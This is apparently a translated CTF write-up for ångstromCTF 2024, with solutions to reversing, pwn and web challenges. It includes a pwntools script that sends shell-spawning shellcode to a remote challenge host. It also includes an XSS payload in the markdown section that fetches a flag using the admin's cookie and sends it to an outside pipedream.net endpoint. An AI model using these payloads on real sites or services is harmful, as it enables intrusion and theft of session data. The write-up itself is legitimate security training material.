This page has been machine-translated from the original page.
I participated in ångstromCTF 2024 with the team 0nePadding.
We finished at a clean 1000 points, placing 108th out of 923 teams.
Up until now I had focused almost entirely on Rev challenges, but going forward I plan to gradually tackle Pwn and Web as well.
Table of Contents
- Guess the Flag(Rev)
- switcher(Rev)
- Polyomino(Rev)
- exam(Pwn)
- presidential(Pwn)
- spinner(Web)
- markdown(Web)
- Summary
Guess the Flag(Rev)
Do you have what it takes to guess the flag?
Decompiling the challenge binary yields the following result.
int32_t main(int32_t argc, char** argv, char** envp)
{
void* fsbase;
int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);
puts("Go ahead, guess the flag: ");
void buf;
void* rbx = &buf;
fgets(&buf, 0x3f, __TMC_END__);
while (true)
{
if (strlen(&buf) <= ((char*)rbx - &buf))
{
break;
}
*(uint8_t*)rbx = (*(uint8_t*)rbx ^ 1);
rbx = ((char*)rbx + 1);
}
if (strcmp(&buf, "`bugzbnllhuude^un^uid^md`ru^rhfo…") != 0)
{
puts("Wrong. Not sure why you'd think …");
}
else
{
puts("Correct! It was kinda obvious tb…");
}
*(uint64_t*)((char*)fsbase + 0x28);
if (rax != *(uint64_t*)((char*)fsbase + 0x28))
{
__stack_chk_fail();
/* no return */
}
return 0;
}At a glance, it is clear that the flag is embedded XOR’d with 1.
switcher(Rev)
It’s incredible how completely indiscernible the functions are…
Looking at the challenge binary, we can see it validates a password string obtained via fgets.
Examining the function that performs this check reveals that it calls a series of functions, each comparing the flag one character at a time from the beginning.
This kind of challenge is trivially solved with angr, so I retrieved the flag using the following solver.
import angr
proj = angr.Project("switcher", auto_load_libs=False)
obj = proj.loader.main_object
find = 0x401219
avoids = [0x40122c,0x4010f8]
init_state = proj.factory.entry_state()
simgr = proj.factory.simgr(init_state)
simgr.explore(find=find, avoid=avoids)
simgr.found[0].posix.dumps(0)
# actf{jumping_my_way_to_the_flag_one_by_one}Polyomino(Rev)
I know this is a cybersecurity competition but I decided to throw in a math problem to level the field a little bit. You can solve it, right?
Analyzing the challenge binary yields the following decompilation result.
int32_t main(int32_t argc, char** argv, char** envp)
{
void* fsbase
int64_t rax = *(fsbase + 0x28)
__printf_chk(flag: 1, format: "I'm practicing my math skills. G…")
int32_t* var_80 = &data_40a0
int32_t* var_88 = &data_409c
int32_t* var_90 = &data_4098
int32_t* var_98 = &data_4094
__isoc99_scanf(format: "%d %d %d %d %d %d %d %d %d", &data_4080, &data_4080:4, &data_4088, &data_4088:4, &data_4090, var_98, var_90, var_88, var_80)
__printf_chk(flag: 1, format: "Hmm, let me think")
fflush(fp: stdout)
usleep(useconds: 0x493e0)
putchar(c: 0x2e)
fflush(fp: stdout)
usleep(useconds: 0x493e0)
putchar(c: 0x2e)
fflush(fp: stdout)
usleep(useconds: 0x493e0)
puts(str: &data_2098)
usleep(useconds: 0x7a120)
int64_t rdi_3 = -0x3c
int32_t rax_15
while (true)
int64_t* i_1 = &data_4080
int64_t rsi = 0
int64_t rcx_1 = 1
int64_t* i = &data_4080
uint64_t rdx_1
do
int64_t rdx = sx.q(*i)
i = i + 4
rdx_1 = rdx * rcx_1
rcx_1 = rcx_1 * rdi_3
rsi = rsi + rdx_1
while (&data_40a4 != i)
if (rdi_3.d != 0x2c && rdi_3.d != 0x3a)
uint64_t r9_2 = zx.q(rdi_3.d + 0x25)
if (r9_2.d u> 0x36 || (r9_2.d u<= 0x36 && not(test_bit(0x400c0210000001, r9_2))))
if (rsi.d != 0)
goto label_1285
goto label_138f
if (rsi.d != 0)
label_138f:
puts(str: "Those aren't the right numbers. …")
rax_15 = 1
break
label_1285:
rdi_3 = rdi_3 + 1
if (rdi_3 == 0x3c)
if (data_40a0 != 1)
do
int32_t rax_4 = *i_1
i_1 = i_1 + 4
int32_t temp4_1
int32_t temp5_1
temp4_1:temp5_1 = sx.q(rax_4)
rdx_1 = zx.q(mods.dp.d(temp4_1:temp5_1, data_40a0))
*(i_1 - 4) = divs.dp.d(temp4_1:temp5_1, data_40a0)
while (i_1 != &data_40a4)
__printf_chk(flag: 1, format: "Correct! Here's the flag: ", rdx_1)
void var_58
void* i_2 = &var_58
int64_t var_78 = data_4080
void* rbp_1 = &data_4020
int64_t var_70_1 = data_4088
int16_t var_68_1 = (data_4090).w
int16_t var_66_1 = (data_4094).w
int16_t var_64_1 = (data_4098).w
int16_t var_62_1 = (data_409c).w
int16_t var_60_1 = (data_40a0).w
__builtin_memcpy(dest: &var_58, src: &var_78, n: 0x1a)
void var_3e
__builtin_memcpy(dest: &var_3e, src: &var_78, n: 0x1a)
void var_24
do
char rdi_4 = *i_2 ^ *rbp_1
i_2 = i_2 + 1
rbp_1 = rbp_1 + 1
*(i_2 - 1) = rdi_4
putchar(c: zx.d(rdi_4))
while (&var_24 != i_2)
putchar(c: 0xa)
rax_15 = 0
break
*(fsbase + 0x28)
if (rax != *(fsbase + 0x28))
__stack_chk_fail()
noreturn
return rax_15
}The nine integers read by scanf are processed inside the while loop. When the rdi_3 variable reaches 0x3c, the flag is decrypted using the accumulated values and printed.
int64_t* i_1 = &data_4080
int64_t rsi = 0
int64_t rcx_1 = 1
int64_t* i = &data_4080
uint64_t rdx_1
do
int64_t rdx = sx.q(*i)
i = i + 4
rdx_1 = rdx * rcx_1
rcx_1 = rcx_1 * rdi_3
rsi = rsi + rdx_1
while (&data_40a4 != i)
if (rdi_3.d != 0x2c && rdi_3.d != 0x3a)
uint64_t r9_2 = zx.q(rdi_3.d + 0x25)
if (r9_2.d u> 0x36 || (r9_2.d u<= 0x36 && not(test_bit(0x400c0210000001, r9_2))))
if (rsi.d != 0)
goto label_1285
goto label_138f
if (rsi.d != 0)
label_138f:
puts(str: "Those aren't the right numbers. …")
rax_15 = 1
break
label_1285:
rdi_3 = rdi_3 + 1Honestly, I could not fully understand the mathematical details of what the loop is doing, so I decided to look for a way to extract the flag using angr anyway. I ended up using the following solver.
import angr
import claripy
proj = angr.Project('./polyomino', auto_load_libs=False)
start = 0x401209
state = proj.factory.blank_state(addr=start, add_options={angr.options.LAZY_SOLVES})
flag1 = claripy.BVS('flag1', 32, explicit_name=True)
flag2 = claripy.BVS('flag2', 32, explicit_name=True)
flag3 = claripy.BVS('flag3', 32, explicit_name=True)
flag4 = claripy.BVS('flag4', 32, explicit_name=True)
flag5 = claripy.BVS('flag5', 32, explicit_name=True)
flag6 = claripy.BVS('flag6', 32, explicit_name=True)
flag7 = claripy.BVS('flag7', 32, explicit_name=True)
flag8 = claripy.BVS('flag8', 32, explicit_name=True)
flag9 = claripy.BVS('flag9', 32, explicit_name=True)
state.memory.store(0x404080, flag1, endness='Iend_LE')
state.memory.store(0x404084, flag2, endness='Iend_LE')
state.memory.store(0x404088, flag3, endness='Iend_LE')
state.memory.store(0x40408c, flag4, endness='Iend_LE')
state.memory.store(0x404090, flag5, endness='Iend_LE')
state.memory.store(0x404094, flag6, endness='Iend_LE')
state.memory.store(0x404098, flag7, endness='Iend_LE')
state.memory.store(0x40409c, flag8, endness='Iend_LE')
state.memory.store(0x4040a0, flag9, endness='Iend_LE')
find = 0x4012bd
avoids = [0x401388,0x40138f,0x4013b2]
simgr = proj.factory.simgr(state)
simgr.explore(find=find, avoid=avoids)
simgr.explore(find=find, avoid=avoids)
found = simgr.found[0]
a = found.solver.eval(flag1, cast_to=int)
b = found.solver.eval(flag2, cast_to=int)
c = found.solver.eval(flag3, cast_to=int)
d = found.solver.eval(flag4, cast_to=int)
e = found.solver.eval(flag5, cast_to=int)
f = found.solver.eval(flag6, cast_to=int)
g = found.solver.eval(flag7, cast_to=int)
h = found.solver.eval(flag8, cast_to=int)
i = found.solver.eval(flag9, cast_to=int)
print("{} {} {} {} {} {} {} {} {}".format(a,b,c,d,e,f,g,h,i))Running this solver produces a different result each time, but feeding those integers into the challenge binary yields a partially incomplete flag.
After repeating this several times and guessing the remaining characters that never filled in, I confirmed that actf{wow_you_successfully_passed_algebra_4_3bf3c5d6} was the correct flag.
exam(Pwn)
I thought my tiring AP season was over, but I heard that they’re offering a flag in AP Cybersecurity! The proctor seems to have trust issues though…
First, let’s check the binary protections.
Decompiling the program reveals that the flag can be obtained if trust_level exceeds the threshold value (0x7ffffffe).
The initial value of trust_level is computed as 0 minus the detrust value supplied as input.
However, detrust must be non-negative, and it is not possible to supply a value that sets trust_level to exactly 0x7ffffffe directly.
That said, entering the correct string afterward allows trust_level to be decremented by 1 each time.
The plan is therefore: supply 2147483646 as the input (which sets trust_level as close to 0x7ffffffe as possible), then enter the correct string twice to push trust_level over the threshold and obtain the flag.
I wrote the following solver to automate this.
from pwn import *
# Set context
CONTEXT = "debug"
context.log_level = CONTEXT
# Set target
TARGET_PATH = "./exam"
exe = ELF(TARGET_PATH)
# Run program
# is_gdb = True
is_gdb = False
if is_gdb:
target = gdb.debug(TARGET_PATH, aslr=False, gdbscript=gdbscript)
else:
target = remote("challs.actf.co", 31322)
# target = process(TARGET_PATH)
# Exploit
target.recvline_startswith(b"How much should I not trust you? >:)")
payload = b"2147483646"
target.sendline(payload)
while True:
target.recvline_startswith(b"Prove your trustworthyness by")
payload = b"I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any information about any section of this exam."
target.sendline(payload)Running this solver successfully retrieved the correct flag.
presidential(Pwn)
👍
The challenge provides the following Python script as its binary.
#!/usr/local/bin/python
import ctypes
import mmap
import sys
flag = "redacted"
print("White House declared Python to be memory safe :tm:")
buf = mmap.mmap(-1, mmap.PAGESIZE, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
ftype = ctypes.CFUNCTYPE(ctypes.c_void_p)
fpointer = ctypes.c_void_p.from_buffer(buf)
f = ftype(ctypes.addressof(fpointer))
u_can_do_it = bytes.fromhex(input("So enter whatever you want 👍 (in hex): "))
buf.write(u_can_do_it)
f()
del fpointer
buf.close()
print("byebye")Reading this code makes it clear that it simply executes whatever shellcode is provided.
I wrote the following solver.
from pwn import *
target = remote("challs.actf.co", 31200)
context.arch = 'amd64'
shellcode = shellcraft.amd64.linux.sh()
assembled_shellcode = asm(shellcode)
# Exploit
target.recvuntil(b"(in hex): ")
payload = assembled_shellcode.hex()
target.sendline(payload)
# Finish exploit
target.interactive()
target.clean()This gave us a shell and allowed us to retrieve the flag successfully.
spinner(Web)
spin 10,000 times for flag
Accessing the challenge server launches an application that counts how many times you spin a ball by holding and dragging the mouse.
Reading the server-side code shows that the flag is returned once the count exceeds 10,000.
const state = {
dragging: false,
value: 0,
total: 0,
flagged: false,
}
const message = async () => {
if (state.flagged) return
const element = document.querySelector('.message')
element.textContent = Math.floor(state.total / 360)
if (state.total >= 10_000 * 360) {
state.flagged = true
const response = await fetch('/falg', { method: 'POST' })
element.textContent = await response.text()
}
}
message()
const draw = () => {
const spinner = document.querySelector('.spinner')
const degrees = state.value
spinner.style.transform = `rotate(${degrees}deg)`
}
const down = () => {
state.dragging = true
}
const move = (e) => {
if (!state.dragging) return
const spinner = document.querySelector('.spinner')
const center = {
x: spinner.offsetLeft + spinner.offsetWidth / 2,
y: spinner.offsetTop + spinner.offsetHeight / 2,
}
const dy = e.clientY - center.y
const dx = e.clientX - center.x
const angle = (Math.atan2(dy, dx) * 180) / Math.PI
const value = angle < 0 ? 360 + angle : angle
const change = value - state.value
if (0 < change && change < 180) state.total += change
if (0 > change && change > -180) state.total += change
if (change > 180) state.total -= 360 - change
if (change < -180) state.total += 360 + change
state.value = value
draw()
message()
}
const up = () => {
state.dragging = false
}
document.querySelector('.handle').addEventListener('mousedown', down)
window.addEventListener('mousemove', move)
window.addEventListener('mouseup', up)
window.addEventListener('blur', up)
window.addEventListener('mouseleave', up)I obtained the flag by directly overwriting the value using the browser’s developer tools.
markdown(Web)
My friend made an app for sharing their notes!
Accessing the challenge server launches a service that renders submitted Markdown as a web page.
There is also an admin access tool available.
Looking at the application source code, we can see that the flag is stored in the admin’s cookie.
const crypto = require('crypto')
const express = require('express')
const app = express()
const posts = new Map()
app.use(express.urlencoded({ extended: false }))
app.get('/', (_req, res) => {
const placeholder = [
'# Note title',
'Content of the note. You can use *italics*!',
].join('\n')
res.type('text/html').end(`
<link rel="stylesheet" href="/style.css">
<div class="content">
<h1>Pastebin</h1>
<form action="/create" method="POST">
<textarea name="content">${placeholder}</textarea>
<button type="submit">Create</button>
</form>
</div>
`)
})
app.get('/flag', (req, res) => {
const cookie = req.headers.cookie ?? ''
res.type('text/plain').end(
cookie.includes(process.env.TOKEN)
? process.env.FLAG
: 'no flag for you'
)
})
app.get('/view/:id', (_req, res) => {
const marked = (
'https://cdnjs.cloudflare.com/ajax/libs/marked/4.2.2/marked.min.js'
)
res.type('text/html').end(`
<link rel="stylesheet" href="/style.css">
<div class="content">
</div>
<script src="${marked}"></script>
<script>
const content = document.querySelector('.content')
const id = document.location.pathname.split('/').pop()
delete (async () => {
const response = await fetch(\`/content/\${id}\`)
const text = await response.text()
content.innerHTML = marked.parse(text)
})()
</script>
`)
})
app.post('/create', (req, res) => {
const data = req.body.content ?? ''
const id = crypto.randomBytes(8).toString('hex')
posts.set(id, data)
res.redirect(`/view/${id}`)
})
app.get('/content/:id', (req, res) => {
const id = req.params.id
const data = posts.get(id) ?? ''
res.type('text/plain').end(data)
})
app.get('/style.css', (_req, res) => {
res.type('text/css').end(`
* {
font-family: system-ui, -apple-system, BlinkMacSystemFont,
'Segoe UI', Roboto, 'Helvetica Neue', sans-serif;
box-sizing: border-box;
}
html,
body {
margin: 0;
}
.content {
padding: 2rem;
width: 90%;
max-width: 900px;
margin: auto;
}
input:not([type='submit']) {
width: 100%;
padding: 8px;
margin: 8px 0;
}
textarea {
width: 100%;
padding: 8px;
margin: 8px 0;
resize: vertical;
font-family: monospace;
}
input[type='submit'] {
margin-bottom: 16px;
}
`)
})
app.listen(3000)The plan was to trigger XSS via the submitted Markdown.
However, when scripts are injected via innerHTML after the page has loaded, browsers typically do not execute them directly.
To work around this, I referenced the following article and used the onerror attribute on an img tag to run arbitrary JavaScript.
Reference: Creating CTF Challenges for In-Team CTF - XSS Edition #JavaScript - Qiita
I retrieved the flag by submitting the following payload.
<img src="x" onerror='fetch("/flag").then(e=>e.text()).then(e=>{console.log("GET response HTML:",e);let t=encodeURIComponent(e),n=`https://eoxwstthee5l1zi.m.pipedream.net?query=${t}`;return fetch(n)}).then(e=>e.text()).then(e=>{console.log("GET response from target URL:",e)});'></img>This payload executes the following code.
fetch("/flag")
.then(response => response.text())
.then(htmlString => {
console.log("GET response HTML:", htmlString);
const encodedHtmlString = encodeURIComponent(htmlString);
const targetUrl = `https://eoxwstthee5l1zi.m.pipedream.net?query=${encodedHtmlString}`;
return fetch(targetUrl);
})
.then(response => response.text())
.then(result => {
console.log("GET response from target URL:", result);
});Having the admin bot visit the page containing this exploit delivered the flag as shown below.
Summary
I have started studying Pwn and Web, but I am still far from proficient — need to keep grinding.
I solved an interesting Pwn challenge, which I plan to write up in a separate article later.